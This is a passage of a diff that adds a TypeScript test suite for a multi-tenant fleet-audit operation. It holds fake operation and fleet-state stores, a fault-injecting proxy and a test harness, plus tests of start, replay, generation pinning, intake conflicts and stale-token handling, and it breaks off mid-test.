+  const raiseOnce = (): void => {
+    if (faultsRemaining > 0) {
+      faultsRemaining -= 1;
+      throw fault.error;
+    }
+  };
+  return new Proxy(store, {
+    get(target, property, receiver) {
+      if (property === 'withAccountOperationLease') {
+        return <T>(
+          kind: FleetOperationKind,
+          operation: (lease: FleetOperationLease) => Promise<T>,
+        ): Promise<T> =>
+          target.withAccountOperationLease(kind, (lease) =>
+            operation({
+              ...lease,
+              startOperation: (input: StartOperationInput) => {
+                const progress: FleetAuditProgress = {
+                  ...fleetAuditProgressFromUnknown(input.runRecord.progress),
+                  generation: persistedGeneration,
+                };
+                return lease.startOperation({
+                  ...input,
+                  runRecord: { ...input.runRecord, progress },
+                });
+              },
+              stageRows: (input: StageRowsInput) => {
+                if (fault.member === 'stageRows') raiseOnce();
+                return lease.stageRows(input);
+              },
+              commitProgress: (input: CommitProgressInput) => {
+                if (fault.member === 'commitProgress') raiseOnce();
+                return lease.commitProgress(input);
+              },
+            }),
+          );
+      }
+      const value = Reflect.get(target, property, receiver);
+      return typeof value === 'function' ? value.bind(target) : value;
+    },
+  });
+}
+
+const ENVIRONMENT = 'production';
+const SPEC_DIGEST = 'a'.repeat(64);
+const STALE_AFTER_MS = 3_600_000;
+const FRESH_UPDATED_AT = new Date(AUDIT_NOW - 30 * 60_000).toISOString();
+
+const HEALTHY_MAINTENANCE: MaintenanceHealth = {
+  armed: true,
+  nextAlarmAt: AUDIT_NOW + 60_000,
+  lastSweepAt: AUDIT_NOW - 60_000,
+  lastPurgeAt: AUDIT_NOW - 60_000,
+};
+
+const UNARMED_MAINTENANCE: MaintenanceHealth = {
+  armed: false,
+  nextAlarmAt: null,
+  lastSweepAt: null,
+  lastPurgeAt: null,
+};
+
+function baseRecord(
+  tenantTag: string,
+  overrides: Partial<FleetRecord> = {},
+): FleetRecord {
+  return {
+    tenantTag,
+    backend: 'plain-worker',
+    environment: ENVIRONMENT,
+    scriptName: `${tenantTag}-worker`,
+    databaseId: `db-${tenantTag}`,
+    databaseName: `database-${tenantTag}`,
+    schemaVersion: 1,
+    artifactVersion: 'v1',
+    desiredSpecDigest: SPEC_DIGEST,
+    durableObjectBindings: [
+      { name: 'RUNNER', className: 'Runner', namespaceId: `ns-${tenantTag}` },
+    ],
+    routeHostname: `${tenantTag}.example.test`,
+    phase: 'ready',
+    updatedAt: FRESH_UPDATED_AT,
+    ...overrides,
+  };
+}
+
+function plainDataMetrics(value: unknown): {
+  nodeCount: number;
+  maxStringBytes: number;
+} {
+  let nodeCount = 0;
+  let maxStringBytes = 0;
+  const encoder = new TextEncoder();
+  const pending = [value];
+  while (pending.length > 0) {
+    const current = pending.pop();
+    nodeCount += 1;
+    if (typeof current === 'string') {
+      maxStringBytes = Math.max(
+        maxStringBytes,
+        encoder.encode(current).byteLength,
+      );
+    } else if (Array.isArray(current)) pending.push(...current);
+    else if (current && typeof current === 'object') {
+      pending.push(...Object.values(current));
+    }
+  }
+  return { nodeCount, maxStringBytes };
+}
+
+function specForRecord(
+  record: FleetRecord,
+  overrides: Partial<DeploymentSpec> = {},
+): DeploymentSpec {
+  return {
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    scriptName: record.scriptName,
+    databaseName: record.databaseName,
+    compatibilityDate: '2026-05-01',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    authoredBy: 'external',
+    schemaVersion: record.schemaVersion,
+    migrations: [],
+    durableObjectMigrations: [],
+    durableObjectBindings: [],
+    maintenanceBaseUrl: `https://control-${record.scriptName}.example.test`,
+    routeHostname: record.routeHostname,
+    ...overrides,
+  };
+}
+
+function cleanLiveDeployment(
+  record: FleetRecord,
+  overrides: Partial<LiveDeployment> = {},
+): LiveDeployment {
+  const base = {
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    scriptName: record.scriptName,
+    databaseId: record.databaseId,
+    durableObjectBindings: record.durableObjectBindings,
+    plainTextBindings: {},
+    secretNames: [] as readonly string[],
+    artifactVersion: record.artifactVersion,
+    desiredSpecDigest: record.desiredSpecDigest,
+    schemaVersion: record.schemaVersion,
+    maintenance: HEALTHY_MAINTENANCE,
+    ...overrides,
+  };
+  return {
+    ...base,
+    providerBindingIdentities: providerBindingIdentitiesForInspection({
+      ...base,
+      databaseIds: [base.databaseId],
+    }),
+  };
+}
+
+function cleanInventoryDeployment(
+  record: FleetRecord,
+  overrides: Partial<FleetInventoryDeployment> = {},
+): FleetInventoryDeployment {
+  return {
+    backend: record.backend,
+    scriptName: record.scriptName,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    databaseIds: [record.databaseId],
+    durableObjectBindings: record.durableObjectBindings,
+    secretNames: [],
+    plainTextBindings: {},
+    routeHostnames: [record.routeHostname],
+    artifactVersion: record.artifactVersion,
+    desiredSpecDigest: record.desiredSpecDigest,
+    schemaVersion: record.schemaVersion,
+    ...overrides,
+  };
+}
+
+function cleanRoute(
+  record: FleetRecord,
+  overrides: Partial<FleetResourceInventory['routes'][number]> = {},
+): FleetResourceInventory['routes'][number] {
+  return {
+    backend: record.backend,
+    hostname: record.routeHostname,
+    scriptName: record.scriptName,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    ...overrides,
+  };
+}
+
+/** A test-mutable variant of `FleetResourceInventory` (readonly at the public boundary). */
+interface MutableInventory {
+  unavailableR2Jurisdictions: FleetResourceInventory['unavailableR2Jurisdictions'];
+  findings: FleetInventoryFinding[];
+  scriptRegistrations: FleetResourceInventory['scriptRegistrations'][number][];
+  deployments: FleetInventoryDeployment[];
+  databaseIds: string[];
+  namespaceIds: string[];
+  r2Buckets: NonNullable<FleetResourceInventory['r2Buckets']>[number][];
+  routes: FleetResourceInventory['routes'][number][];
+  hostRoutingKvId?: string;
+}
+
+function emptyInventory(): MutableInventory {
+  return {
+    findings: [],
+    unavailableR2Jurisdictions: Object.freeze([]),
+    scriptRegistrations: [],
+    deployments: [],
+    databaseIds: [],
+    namespaceIds: [],
+    r2Buckets: [],
+    routes: [],
+  };
+}
+
+/** A clean inventory matching `records` exactly (zero drift). */
+function inventoryFor(records: readonly FleetRecord[]): MutableInventory {
+  return {
+    findings: [],
+    unavailableR2Jurisdictions: Object.freeze([]),
+    scriptRegistrations: [],
+    deployments: records.map((record) => cleanInventoryDeployment(record)),
+    databaseIds: records.map((record) => record.databaseId),
+    namespaceIds: records.flatMap((record) =>
+      record.durableObjectBindings.map((binding) => binding.namespaceId),
+    ),
+    r2Buckets: [],
+    routes: records.map((record) => cleanRoute(record)),
+  };
+}
+
+class SimpleBackend implements ProvisioningBackend {
+  readonly kind: ProvisioningBackendKind = 'plain-worker';
+
+  constructor(
+    private readonly liveByTenant: Map<string, LiveDeployment | undefined>,
+    private readonly opsLog: string[] = [],
+    private readonly throwOnInspect = new Set<string>(),
+    private readonly throwOnEnsureMaintenance = new Set<string>(),
+  ) {}
+
+  async findDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+  async getDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+  async ensureDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+  async seedDeploymentIdentity(): Promise<void> {
+    throw new Error('unused');
+  }
+  async readDeploymentIdentity(): Promise<never> {
+    throw new Error('unused');
+  }
+  async applyMigrations(): Promise<void> {
+    throw new Error('unused');
+  }
+  async deployWorker(): Promise<never> {
+    throw new Error('unused');
+  }
+  async promoteWorker(): Promise<void> {
+    throw new Error('unused');
+  }
+
+  async ensureMaintenance(
+    spec: DeploymentSpec,
+    _maintenanceAdminSecret: string,
+    _lease: FleetStateLease,
+  ): Promise<MaintenanceHealth> {
+    this.opsLog.push('ensureMaintenance');
+    if (this.throwOnEnsureMaintenance.has(spec.tenantTag)) {
+      throw new Error('maintenance re-arm blew up');
+    }
+    return HEALTHY_MAINTENANCE;
+  }
+
+  async inspect(spec: DeploymentSpec): Promise<LiveDeployment | undefined> {
+    this.opsLog.push(`inspect:${spec.tenantTag}`);
+    if (this.throwOnInspect.has(spec.tenantTag)) {
+      throw new Error('inspection blew up');
+    }
+    return this.liveByTenant.get(spec.tenantTag);
+  }
+
+  async attestActiveRoute(): Promise<never> {
+    throw new Error('unused');
+  }
+  async removeTraffic(): Promise<void> {
+    throw new Error('unused');
+  }
+  async assertTrafficRemoved(): Promise<void> {
+    throw new Error('unused');
+  }
+  async revokeCredentials(): Promise<void> {
+    throw new Error('unused');
+  }
+  async deleteWorker(): Promise<void> {
+    throw new Error('unused');
+  }
+  async assertDatabaseDetached(): Promise<void> {
+    throw new Error('unused');
+  }
+  async exportDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+  async deleteDatabase(): Promise<void> {
+    throw new Error('unused');
+  }
+}
+
+class FakeFleetStateStore implements FleetStateStore {
+  readonly records = new Map<string, FleetRecord>();
+  readonly ops: string[] = [];
+
+  constructor(records: readonly FleetRecord[] = []) {
+    for (const record of records) {
+      this.records.set(`${record.tenantTag}:${record.environment}`, record);
+    }
+  }
+
+  async withDeploymentLease<T>(
+    tenantTag: string,
+    environment: string,
+    operation: (lease: FleetStateLease) => Promise<T>,
+  ): Promise<T> {
+    this.ops.push('withDeploymentLease');
+    const key = `${tenantTag}:${environment}`;
+    const lease: FleetStateLease = {
+      tenantTag,
+      environment,
+      mutationLeaseTtlMs: 900_000,
+      assertOwned: async () => {
+        this.ops.push('assertOwned');
+      },
+      renew: async () => {},
+      put: async (record) => {
+        this.ops.push('put');
+        this.records.set(key, record);
+      },
+      delete: async () => {
+        this.records.delete(key);
+      },
+    };
+    return operation(lease);
+  }
+
+  async get(
+    tenantTag: string,
+    environment: string,
+  ): Promise<FleetRecord | undefined> {
+    this.ops.push('get');
+    return this.records.get(`${tenantTag}:${environment}`);
+  }
+
+  async list(): Promise<readonly FleetRecord[]> {
+    return [...this.records.values()];
+  }
+}
+
+// ---------------------------------------------------------------------------
+// Shared drive helpers.
+// ---------------------------------------------------------------------------
+
+interface Harness {
+  readonly records: readonly FleetRecord[];
+  readonly inventory: FleetResourceInventory;
+  readonly operationStore: FakeOperationStore;
+  readonly inventoryStore: RegisteredGenerationInventoryRunStore;
+  readonly fleetStore: FakeFleetStateStore;
+  readonly backend: SimpleBackend;
+  readonly opsLog: string[];
+  readonly liveByTenant: Map<string, LiveDeployment | undefined>;
+  readonly specByTenant: Map<string, DeploymentSpec>;
+  readonly secretByTenant: Map<string, string>;
+  baseOptions(action: FleetAuditAdvanceAction): AdvanceFleetAuditOptions;
+}
+
+function generationReadCounts(
+  store: RegisteredGenerationInventoryRunStore,
+): Readonly<{
+  latest: number;
+  finalized: number;
+  runByOperation: number;
+}> {
+  return {
+    latest: store.latestFinalizedGenerationCalls,
+    finalized: store.readFinalizedGenerationCalls,
+    runByOperation: store.readRunByOperationCalls,
+  };
+}
+
+function expectZeroHarnessWork(
+  harness: Harness,
+  coordination: Readonly<{
+    leaseCount: number;
+    readOperationByIdCalls: number;
+    generationReads: ReturnType<typeof generationReadCounts>;
+  }> = {
+    leaseCount: 0,
+    readOperationByIdCalls: 0,
+    generationReads: { latest: 0, finalized: 0, runByOperation: 0 },
+  },
+): void {
+  expect(harness.operationStore.leaseCount).toBe(coordination.leaseCount);
+  expect(harness.operationStore.readOperationByIdCalls).toBe(
+    coordination.readOperationByIdCalls,
+  );
+  expect(harness.operationStore.operations.size).toBe(0);
+  expect(harness.operationStore.rows.size).toBe(0);
+  expect(harness.operationStore.heads.size).toBe(0);
+  expect(harness.operationStore.intakeDigests.size).toBe(0);
+  expect(harness.operationStore.stagedRowCodecCalls).toBe(0);
+  expect(harness.opsLog).toEqual([]);
+  expect(harness.fleetStore.ops).toEqual([]);
+  expect(generationReadCounts(harness.inventoryStore)).toEqual(
+    coordination.generationReads,
+  );
+  expect(harness.inventoryStore.pins).toEqual([]);
+  expect(harness.inventoryStore.releasedPins).toEqual([]);
+}
+
+function buildHarness(
+  records: readonly FleetRecord[],
+  inventory: FleetResourceInventory,
+  overrides: Partial<{
+    throwOnInspect: Set<string>;
+    throwOnEnsureMaintenance: Set<string>;
+    throwBackendFor: Set<string>;
+    throwSpecFor: Set<string>;
+    throwSecretFor: Set<string>;
+    maxItemsPerCall: number;
+    auditClock: () => number;
+    authorityClock: () => number;
+    signal: AbortSignal;
+  }> = {},
+): Harness {
+  const operationStore = new FakeOperationStore();
+  const inventoryStore = new RegisteredGenerationInventoryRunStore();
+  inventoryStore.registerFinalizedGeneration(1, inventory);
+  const fleetStore = new FakeFleetStateStore(records);
+  const opsLog: string[] = [];
+  const liveByTenant = new Map<string, LiveDeployment | undefined>();
+  for (const record of records) {
+    liveByTenant.set(record.tenantTag, cleanLiveDeployment(record));
+  }
+  const specByTenant = new Map<string, DeploymentSpec>(
+    records.map((record) => [record.tenantTag, specForRecord(record)]),
+  );
+  const secretByTenant = new Map<string, string>(
+    records.map((record) => [
+      record.tenantTag,
+      `maintenance-secret-${record.tenantTag}`,
+    ]),
+  );
+  const backend = new SimpleBackend(
+    liveByTenant,
+    opsLog,
+    overrides.throwOnInspect,
+    overrides.throwOnEnsureMaintenance,
+  );
+  return {
+    records,
+    inventory,
+    operationStore,
+    inventoryStore,
+    fleetStore,
+    backend,
+    opsLog,
+    liveByTenant,
+    specByTenant,
+    secretByTenant,
+    baseOptions(action: FleetAuditAdvanceAction): AdvanceFleetAuditOptions {
+      return {
+        operationStore,
+        inventoryStore,
+        fleetStore,
+        action,
+        ...(overrides.maxItemsPerCall === undefined
+          ? {}
+          : { maxItemsPerCall: overrides.maxItemsPerCall }),
+        ...(overrides.auditClock === undefined
+          ? {}
+          : { auditClock: overrides.auditClock }),
+        ...(overrides.authorityClock === undefined
+          ? {}
+          : { authorityClock: overrides.authorityClock }),
+        ...(overrides.signal === undefined ? {} : { signal: overrides.signal }),
+        backendFor: (record) => {
+          opsLog.push('resolver:backendFor');
+          if (overrides.throwBackendFor?.has(record.tenantTag)) {
+            throw new Error('backend resolver blew up');
+          }
+          return backend;
+        },
+        specFor: (record) => {
+          opsLog.push('resolver:specFor');
+          if (overrides.throwSpecFor?.has(record.tenantTag)) {
+            throw new Error('spec resolver blew up');
+          }
+          const spec = specByTenant.get(record.tenantTag);
+          if (!spec)
+            throw new Error(`no spec fixture for '${record.tenantTag}'`);
+          return spec;
+        },
+        maintenanceSecretFor: (record) => {
+          opsLog.push('resolver:maintenanceSecretFor');
+          if (overrides.throwSecretFor?.has(record.tenantTag)) {
+            throw new Error('secret resolver blew up');
+          }
+          return secretByTenant.get(record.tenantTag) as string;
+        },
+      };
+    },
+  };
+}
+
+/**
+ * Drives `advanceFleetAudit` with `continue` until the status is not
+ * 'pending'. Always advances once before it inspects a status, so it never
+ * returns the result its caller already holds.
+ *
+ * `cap` is slack rather than derived. This loop runs to a terminal result, so
+ * the whole-operation aggregate the fleet control guide states (see its
+ * per-call cost paragraph, docs/fleet-control.md) bounds it in full: that
+ * aggregate turns on `maxItemsPerCall` and the per-stage source sizes rather
+ * than on the stage count alone, so a call site that lowers `maxItemsPerCall`
+ * against a large source has to pass its own cap.
+ */
+async function driveToTerminal(
+  harness: Harness,
+  firstToken: unknown,
+  cap = 200,
+): Promise<FleetAuditAdvanceResult> {
+  let token = firstToken;
+  for (let i = 0; i < cap; i++) {
+    const result = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token }),
+    );
+    if (result.status !== 'pending') return result;
+    token = result.token;
+  }
+  throw new Error(
+    `driveToTerminal exceeded its ${cap}-iteration cap before a terminal result`,
+  );
+}
+
+type PendingFleetAuditAdvance = Extract<
+  FleetAuditAdvanceResult,
+  { status: 'pending' }
+>;
+
+/**
+ * Drives `advanceFleetAudit` with `continue` until `stage.step` is `step`.
+ * Always advances once before it compares the step, so a token already parked
+ * on `step` still costs one call.
+ *
+ * `cap` is slack rather than derived. This loop stops at `step`, so a prefix
+ * of the whole-operation aggregate the fleet control guide states (see its
+ * per-call cost paragraph, docs/fleet-control.md) bounds it: that aggregate
+ * turns on `maxItemsPerCall` and the per-stage source sizes rather than on
+ * the stage count alone, so a call site that lowers `maxItemsPerCall` against
+ * a large source has to pass its own cap.
+ */
+async function driveToStage(
+  harness: Harness,
+  firstToken: unknown,
+  step: FleetAuditStage['step'],
+  cap = 200,
+): Promise<PendingFleetAuditAdvance> {
+  let token = firstToken;
+  for (let i = 0; i < cap; i++) {
+    const result = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token }),
+    );
+    if (result.status !== 'pending') {
+      throw new Error(
+        `driveToStage reached ${result.status} before the ${step} stage`,
+      );
+    }
+    if (result.stage.step === step) return result;
+    token = result.token;
+  }
+  throw new Error(
+    `driveToStage exceeded its ${cap}-iteration cap before the ${step} stage`,
+  );
+}
+
+async function startAndDrive(
+  harness: Harness,
+  operationId: string,
+  records: readonly FleetRecord[],
+  staleAfterMs = STALE_AFTER_MS,
+): Promise<FleetAuditAdvanceResult> {
+  const started = await advanceFleetAudit(
+    harness.baseOptions({ kind: 'start', operationId, records, staleAfterMs }),
+  );
+  if (started.status !== 'pending') return started;
+  return driveToTerminal(harness, started.token);
+}
+
+function expectPendingToken(
+  result: FleetAuditAdvanceResult,
+): PendingFleetAuditAdvance['token'] {
+  expect(result.status).toBe('pending');
+  if (result.status !== 'pending') {
+    throw new Error(`expected a pending result, got '${result.status}'`);
+  }
+  return result.token;
+}
+
+// The bounded run can re-arm maintenance in its Fleet store.
+function drainWith(harness: Harness): Promise<readonly DriftFinding[]> {
+  return auditFleetDrift({
+    store: new FakeFleetStateStore(harness.records),
+    records: harness.records,
+    inventory: harness.inventory,
+    backendFor: () => harness.backend,
+    specFor: (record) =>
+      harness.specByTenant.get(record.tenantTag) as DeploymentSpec,
+    maintenanceSecretFor: (record) =>
+      harness.secretByTenant.get(record.tenantTag) as string,
+    staleAfterMs: STALE_AFTER_MS,
+    now: AUDIT_NOW,
+  });
+}
+
+interface PreflightRefusalCase {
+  readonly name: string;
+  /** The fleet the harness starts from; the inventory is derived from it. */
+  readonly fleet: readonly FleetRecord[];
+  readonly operationId: string;
+  readonly intake: () => readonly FleetRecord[];
+  readonly generation?: number;
+  readonly auditClock?: () => number;
+  readonly message: string;
+  /** Omitted where the refusal precedes the lease entirely. */
+  readonly coordination?: Parameters<typeof expectZeroHarnessWork>[1];
+}
+
+// ---------------------------------------------------------------------------
+// Tests
+// ---------------------------------------------------------------------------
+
+describe('advanceFleetAudit', () => {
+  it('start creates the operation THEN pins; freezes auditTimeMs/staleAfterMs', async () => {
+    const alice = baseRecord('alice');
+    let auditClockCalls = 0;
+    const harness = buildHarness([alice], inventoryFor([alice]), {
+      auditClock: () => {
+        auditClockCalls += 1;
+        return AUDIT_NOW;
+      },
+    });
+    const events: string[] = [];
+    // Instrument: record when the row exists (created) vs when the pin lands.
+    const originalPinGeneration = harness.inventoryStore.pinGeneration.bind(
+      harness.inventoryStore,
+    );
+    harness.inventoryStore.pinGeneration = async (input) => {
+      events.push(
+        harness.operationStore.operations.has(uuidFor(1))
+          ? 'operation-row-present-at-pin'
+          : 'operation-row-absent-at-pin',
+      );
+      return originalPinGeneration(input);
+    };
+    const operationId = uuidFor(1);
+    const result = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(result.status).toBe('pending');
+    expect(auditClockCalls).toBe(1);
+    expect(events).toEqual(['operation-row-present-at-pin']);
+    const persisted =
+      await harness.operationStore.readOperationById(operationId);
+    expect(persisted).toBeDefined();
+    const progress = fleetAuditProgressFromUnknown(persisted?.progress);
+    expect(progress.auditTimeMs).toBe(AUDIT_NOW);
+    expect(progress.staleAfterMs).toBe(STALE_AFTER_MS);
+    if (result.status !== 'pending') throw new Error('unreachable');
+    const terminal = await driveToTerminal(harness, result.token);
+    expect(terminal.status).toBe('complete');
+    expect(auditClockCalls).toBe(1);
+  });
+
+  it('a record aging past staleAfterMs mid-operation still audits fresh', async () => {
+    const alice = baseRecord('alice', {
+      updatedAt: new Date(AUDIT_NOW - 30 * 60_000).toISOString(),
+      phase: 'worker-deployed',
+    });
+    let clock = AUDIT_NOW;
+    const harness = buildHarness([alice], inventoryFor([alice]), {
+      auditClock: () => clock,
+      authorityClock: () => clock,
+    });
+    const operationId = uuidFor(2);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    // Real time moves far past staleAfterMs before the per-record stage runs.
+    clock = AUDIT_NOW + 10 * STALE_AFTER_MS;
+    const result = await driveToTerminal(harness, expectPendingToken(started));
+    expect(result.status).toBe('complete');
+    const page = await readFleetAuditFindingsPage(harness.operationStore, {
+      operationId,
+      limit: 100,
+    });
+    expect(
+      page.findings.some(
+        (finding) => finding.kind === 'incomplete-provisioning',
+      ),
+    ).toBe(false);
+  });
+
+  it('start replay converges, re-pins, and stages no duplicate rows — and NEVER calls latestFinalizedGeneration', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(3);
+    const action: FleetAuditAdvanceAction = {
+      kind: 'start',
+      operationId,
+      records: [alice],
+      staleAfterMs: STALE_AFTER_MS,
+    };
+    const first = await advanceFleetAudit(harness.baseOptions(action));
+    expect(first.status).toBe('pending');
+    expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1);
+    harness.inventoryStore.latestFinalizedGenerationError = new Error(
+      'latestFinalizedGeneration must not be called once the operation exists',
+    );
+    const rowCountBefore = harness.operationStore.rows.get(
+      `${operationId}:record`,
+    )?.length;
+    const second = await advanceFleetAudit(harness.baseOptions(action));
+    expect(second.status).toBe('pending');
+    if (first.status !== 'pending' || second.status !== 'pending') {
+      throw new Error('unreachable');
+    }
+    expect(second.token).toEqual(first.token);
+    expect(second.stage).toEqual(first.stage);
+    expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1);
+    expect(
+      harness.operationStore.rows.get(`${operationId}:record`)?.length,
+    ).toBe(rowCountBefore);
+    expect(
+      harness.inventoryStore.pins.filter(
+        (pin) => pin.pinnedBy === `fleet-audit:${operationId}`,
+      ).length,
+    ).toBe(2);
+
+    const continuedOnce = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: second.token }),
+    );
+    expect(continuedOnce.status).toBe('pending');
+    if (continuedOnce.status !== 'pending') throw new Error('unreachable');
+    const continuedTwice = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: continuedOnce.token }),
+    );
+    expect(continuedTwice.status).toBe('pending');
+    if (continuedTwice.status !== 'pending') throw new Error('unreachable');
+    expect(continuedTwice.token).not.toEqual(first.token);
+    const rowCountsBeforeAdvancedReplay = new Map(
+      [...harness.operationStore.rows].map(([key, rows]) => [key, rows.length]),
+    );
+    const latestCallsBeforeAdvancedReplay =
+      harness.inventoryStore.latestFinalizedGenerationCalls;
+    const replayPastRevisionOne = await advanceFleetAudit(
+      harness.baseOptions(action),
+    );
+    expect(replayPastRevisionOne.status).toBe('pending');
+    if (replayPastRevisionOne.status !== 'pending')
+      throw new Error('unreachable');
+    expect(replayPastRevisionOne.token).toEqual(continuedTwice.token);
+    expect(replayPastRevisionOne.stage).toEqual(continuedTwice.stage);
+    expect(
+      new Map(
+        [...harness.operationStore.rows].map(([key, rows]) => [
+          key,
+          rows.length,
+        ]),
+      ),
+    ).toEqual(rowCountsBeforeAdvancedReplay);
+    expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(
+      latestCallsBeforeAdvancedReplay,
+    );
+
+    // Replay against a TERMINAL operation.
+    const finalResult = await driveToTerminal(
+      harness,
+      replayPastRevisionOne.token,
+    );
+    expect(finalResult.status).toBe('complete');
+    const pinsBeforeTerminalReplay = harness.inventoryStore.pins.length;
+    const rowCountsBeforeTerminalReplay = new Map(
+      [...harness.operationStore.rows].map(([key, rows]) => [key, rows.length]),
+    );
+    const replayAfterTerminal = await advanceFleetAudit(
+      harness.baseOptions(action),
+    );
+    expect(replayAfterTerminal).toStrictEqual(finalResult);
+    expect(harness.inventoryStore.pins).toHaveLength(pinsBeforeTerminalReplay);
+    expect(
+      new Map(
+        [...harness.operationStore.rows].map(([key, rows]) => [
+          key,
+          rows.length,
+        ]),
+      ),
+    ).toEqual(rowCountsBeforeTerminalReplay);
+    expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1);
+
+    const crossKindOperationId = uuidFor(52);
+    harness.operationStore.operations.set(crossKindOperationId, {
+      version: 1,
+      operationId: crossKindOperationId,
+      kind: 'migration',
+      state: 'running',
+      progress: {
+        kind: 'migration',
+        revision: 0,
+      } as unknown as FleetOperationRunRecord['progress'],
+      updatedAt: new Date(AUDIT_NOW).toISOString(),
+    });
+    harness.operationStore.heads.set('migration', crossKindOperationId);
+    const latestCallsBeforeCrossKind =
+      harness.inventoryStore.latestFinalizedGenerationCalls;
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'start',
+          operationId: crossKindOperationId,
+          records: [alice],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      ),
+    ).rejects.toThrow(
+      `fleet operation '${crossKindOperationId}' belongs to the other operation kind`,
+    );
+    expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(
+      latestCallsBeforeCrossKind,
+    );
+    expect(
+      harness.inventoryStore.pins.some(
+        (pin) => pin.pinnedBy === `fleet-audit:${crossKindOperationId}`,
+      ),
+    ).toBe(false);
+    expect(
+      harness.operationStore.rows.get(`${crossKindOperationId}:record`) ?? [],
+    ).toEqual([]);
+  });
+
+  it('an implicit-generation replay re-pins the PERSISTED generation even after generation N+1 finalizes; two different EXPLICIT-generation starts under one operationId conflict', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(4);
+    const implicit: FleetAuditAdvanceAction = {
+      kind: 'start',
+      operationId,
+      records: [alice],
+      staleAfterMs: STALE_AFTER_MS,
+    };
+    const first = await advanceFleetAudit(harness.baseOptions(implicit));
+    expect(first.status).toBe('pending');
+    const persisted1 =
+      await harness.operationStore.readOperationById(operationId);
+    const generation1 = fleetAuditProgressFromUnknown(
+      persisted1?.progress,
+    ).generation;
+    expect(generation1).toBe(1);
+
+    // A newer generation finalizes.
+    harness.inventoryStore.registerFinalizedGeneration(
+      2,
+      inventoryFor([alice]),
+    );
+    expect(harness.inventoryStore.latestGeneration).toBe(2);
+
+    const pinsBeforeReplay = harness.inventoryStore.pins.length;
+    const replay = await advanceFleetAudit(harness.baseOptions(implicit));
+    expect(replay.status).toBe('pending');
+    const persisted2 =
+      await harness.operationStore.readOperationById(operationId);
+    expect(fleetAuditProgressFromUnknown(persisted2?.progress).generation).toBe(
+      1,
+    );
+    expect(harness.inventoryStore.pins.slice(pinsBeforeReplay)).toEqual([
+      { generation: 1, pinnedBy: `fleet-audit:${operationId}` },
+    ]);
+
+    // Two DIFFERENT explicit-generation starts under one operationId conflict.
+    // A fresh harness keeps this independent of the still-running operation above.
+    const otherHarness = buildHarness([alice], inventoryFor([alice]));
+    const otherId = uuidFor(5);
+    const explicit1: FleetAuditAdvanceAction = {
+      kind: 'start',
+      operationId: otherId,
+      records: [alice],
+      staleAfterMs: STALE_AFTER_MS,
+      generation: 1,
+    };
+    const explicit2: FleetAuditAdvanceAction = {
+      ...explicit1,
+      generation: 2,
+    };
+    await advanceFleetAudit(otherHarness.baseOptions(explicit1));
+    await expect(
+      advanceFleetAudit(otherHarness.baseOptions(explicit2)),
+    ).rejects.toThrow(
+      `fleet operation '${otherId}' already exists with a different intake`,
+    );
+  });
+
+  it('start intake-digest mismatch conflict', async () => {
+    const alice = baseRecord('alice');
+    const bob = baseRecord('bob');
+    const harness = buildHarness([alice, bob], inventoryFor([alice, bob]));
+    const operationId = uuidFor(6);
+    await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'start',
+          operationId,
+          records: [alice, bob],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      ),
+    ).rejects.toThrow(
+      `fleet operation '${operationId}' already exists with a different intake`,
+    );
+  });
+
+  it('start contention under a foreign active audit', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId: uuidFor(7),
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    await expect(
+      advanceFleetAudit(
+        harness.baseOptions({
+          kind: 'start',
+          operationId: uuidFor(8),
+          records: [alice],
+          staleAfterMs: STALE_AFTER_MS,
+        }),
+      ),
+    ).rejects.toThrow(
+      'another fleet audit operation is active for this account',
+    );
+  });
+
+  it('stale token → authoritative pending/complete/failed with zero resolver/generation/provider work', async () => {
+    const alice = baseRecord('alice');
+    const harness = buildHarness([alice], inventoryFor([alice]));
+    const operationId = uuidFor(9);
+    const started = await advanceFleetAudit(
+      harness.baseOptions({
+        kind: 'start',
+        operationId,
+        records: [alice],
+        staleAfterMs: STALE_AFTER_MS,
+      }),
+    );
+    expect(started.status).toBe('pending');
+    if (started.status !== 'pending') throw new Error('unreachable');
+    const oldToken = started.token;
+    // Advance once more so `oldToken` is now stale.
+    const advanced = await advanceFleetAudit(
+      harness.baseOptions({ kind: 'continue', token: oldToken }),
+    );
+    expect(advanced.status).toBe('pending');
+    if (advanced.status !== 'pending') throw new Error('unreachable');
+
+    const opsBefore = harness.opsLog.length;
+    const readsBeforePending = generationReadCounts(harness.inventoryStore);
